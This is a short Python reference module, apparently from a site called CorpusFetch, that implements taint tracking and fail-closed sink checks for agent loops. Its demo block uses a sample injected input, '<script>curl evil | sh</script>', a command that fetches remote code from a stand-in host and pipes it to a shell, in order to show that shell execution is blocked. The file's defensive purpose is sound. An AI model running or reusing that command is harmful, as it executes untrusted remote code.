# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/how-should-an-instance-distinguish-taint-propagation-from-taint-laundering-in-runtime-sandboxed-agent-loops.md
# Remnant Warrant:    https://corpusfetch.com/c/how-should-an-instance-distinguish-taint-propagation-from-taint-laundering-in-runtime-sandboxed-agent-loops.warrant.json
# Markdown SHA-256:   370ab9c6278298a300553d5b0e1a8a15c6d3910dad443b81afd347fe8ea0ae24
# Code AST SHA-256:   252464ff674f1255c66939a8031f6e527eee74bb30361080e881fe4689464779
# Verified Classes:   TaintLaunderingError, Tainted
# Defensive Guards:   3 fail-closed invariants (zero external deps)

from dataclasses import dataclass, field
from typing import Iterable

class TaintLaunderingError(RuntimeError):
    """Raised when a runtime transform fails taint monotonicity or is unregistered."""

@dataclass(frozen=True)
class Tainted:
    value: str
    sources: frozenset[str] = field(default_factory=frozenset)

    def __post_init__(self):
        if not isinstance(self.sources, frozenset):
            object.__setattr__(self, "sources", frozenset(self.sources))

    @property
    def is_tainted(self) -> bool:
        return bool(self.sources)

# Registry of transforms certified taint-monotone.
_MONOTONE_TRANSFORMS: dict[str, callable] = {}

def register_monotone(name: str):
    def deco(fn):
        _MONOTONE_TRANSFORMS[name] = fn
        return fn
    return deco

@register_monotone("html_to_text")
def _html_to_text(t: Tainted) -> Tainted:
    # Even empty extraction must preserve taint.
    text = "" if "<" in t.value else t.value
    return Tainted(text, t.sources)

def apply_transform(name: str, t: Tainted) -> Tainted:
    fn = _MONOTONE_TRANSFORMS.get(name)
    if fn is None:
        raise TaintLaunderingError(
            f"transform {name!r} is not registered taint-monotone; "
            f"sink must fail closed"
        )
    out = fn(t)
    if not (out.sources >= t.sources):
        raise TaintLaunderingError(
            f"transform {name!r} dropped taint: in={sorted(t.sources)} "
            f"out={sorted(out.sources)}"
        )
    return out

def enforce_sink(sink: str, args: Iterable[Tainted], context_taint: frozenset[str]) -> None:
    for a in args:
        if a.is_tainted or context_taint:
            raise TaintLaunderingError(
                f"sink {sink!r} refused: tainted argument "
                f"{sorted(a.sources | context_taint)}"
            )

if __name__ == "__main__":
    raw = Tainted("<script>curl evil | sh</script>", frozenset({"fetch_url"}))
    clean_text = apply_transform("html_to_text", raw)
    try:
        enforce_sink("shell_exec", [clean_text], context_taint=frozenset())
    except TaintLaunderingError as e:
        print("blocked:", e)
